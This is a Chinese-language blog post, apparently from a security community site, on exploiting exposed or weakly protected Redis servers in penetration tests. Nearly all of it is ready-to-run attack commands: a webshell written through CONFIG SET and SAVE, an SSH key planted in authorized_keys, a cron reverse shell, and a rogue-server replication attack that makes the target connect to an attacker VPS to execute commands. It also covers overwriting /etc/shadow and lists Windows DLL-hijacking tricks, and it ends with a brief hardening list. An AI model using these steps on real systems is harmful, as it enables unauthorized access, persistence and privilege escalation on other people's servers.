Redis 在渗透测试中常见的利用方式

发布于 2024-09-30 09:42:41 字数 4591 浏览 7 评论 0

本文主要以 redis 未授权或已知 redis 口令为前提进行漏洞利用

1 写入 webshell

条件:

  • 已知 web 目录绝对路径
  • 拥有该目录下的可写权限

查看所有键,创建新键,键值为 webshell,这里以写入 phpinfo 进行一个演示。

因为创建新键赋键值会把原来的键值覆盖,所以需要在赋值的时候需要查看所有的键,然后选择一个没有的键创建赋值。

keys *
set x "\n\n<?php pnpinfo();?>\n"
get x

查看 redis 数据库配置信息,因为我们写 Webshell 会修改 dirdbfilename ,所以这里查看配置信息主要记下原来的值,好在写入后修改回来。

config get *

设置 webshell 输出目录和文件名,然后写入 Webshell。

config set dir /var/www    # 设置文件写入目录
config set dbfilename 1.php   # 设置写入文件名
save # 保存

最后,再还原数据库配置。

2 写入 ssh 公钥

条件:

  • 已知启动服务的用户
  • 拥有 .ssh 目录
  • 允许使用基于密钥认证的方式登陆

2.1 生成公私钥对

ssh-keygen -t rsa    # 生成公钥和私钥

2.2 利用 redis config 写文件

set x "\n\n 公钥内容\n"
config set dir /home/user/.ssh
config set dbfilename authorized_keys
save

2.3 利用公私钥对登录

ssh -i id_rsa user@ip

3 写定时任务反弹 shell

条件:

  • 拥有计划任务目录写权限
  • 目标启动计划服务
keys *    查看所有键
set x "\n\n 计划任务内容\n\n"    
config get *    
config set dir /var/spool/cron    
config set dbfilename root    
save    保存,完成文件写入
del x    删除创建的 x 键

4 主从复制

4.1 加载扩展模块执行系统命令

具体的原理在之前漏洞复现的文章中已经解释过。

脚本地址: https://github.com/Dliv3/redis-rogue-server

主动连接模式:

参数说明

  • --rpasswd 如果目标 Redis 服务开启了认证功能,可以通过该选项指定密码
  • --rhost 目标 redis 服务 IP
  • --rport 目标 redis 服务端口,默认为 6379
  • --lhost vps 的外网 IP 地址
  • --lport vps 监控的端口,默认为 21000
python3 redis-rogue-server.py --rhost <target address> --rport <target port> --lhost <vps address> --lport <vps port>

被动连接模式:

适用于目标 Redis 服务处于内网的情况

  • 通过 SSRF 攻击 Redis
  • 内网 Redis 未授权访问/已知 Redis 口令,Redis 需要反向连接 redis rogue server
python3 redis-rogue-server.py --server-only

4.2 主从复制写入纯净文件

在 linux 下,可以利用 SYNC 主从同步,来直接写入无杂质的文件,脚本如下:

https://github.com/r35tart/RedisWriteFile

此脚本是通过 Redis 主从写出无损文件,可用于 Windows 平台下写出无损的 EXEDLLLNKLinux 下的 SO 等二进制文件

也可以用无杂质覆写 Linux 中的 /etc/shadow

python3 RedisWriteFile.py --rhost 172.17.0.2 --rport 6379 --lhost 172.17.0.1 --lport 4444 --rpath "/var/www" --rfile "test.php" --lfile "./phpinfo.php"

上述方法主要是针对 linux,当 windows 上未开启 web 服务时,该如何 getshell?

下面介绍下 redis 在 windows 下的常见打法:

  1. 系统 DLL 劫持 (目标重启或注销)
  2. 针对特定软件的 DLL 劫持(目标一次点击)
  3. 覆写目标的快捷方式 (目标一次点击)
  4. 覆写特定软件的配置文件达到提权目的 (目标无需点击或一次点击)
  5. 覆写 sethc.exe 等文件 (攻击方一次触发)

参考: http://r3start.net/index.php/2020/05/25/717

5 漏洞修复

  • 设置密码认证
  • 尽量以低权限来运行 Redis 服务
  • 限制登录 IP

如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。

扫码二维码加入Web技术交流群

发布评论

需要 登录 才能够评论, 你可以免费 注册 一个本站的账号。
列表为空,暂无数据

关于作者

0 文章
0 评论
24 人气
更多

推荐作者

玍銹的英雄夢

文章 0 评论 0

我不会写诗

文章 0 评论 0

十六岁半

文章 0 评论 0

浸婚纱

文章 0 评论 0

qq_kJ6XkX

文章 0 评论 0

    我们使用 Cookies 和其他技术来定制您的体验包括您的登录状态等。通过阅读我们的 隐私政策 了解更多相关信息。 单击 接受 或继续使用网站,即表示您同意使用 Cookies 和您的相关数据。
    原文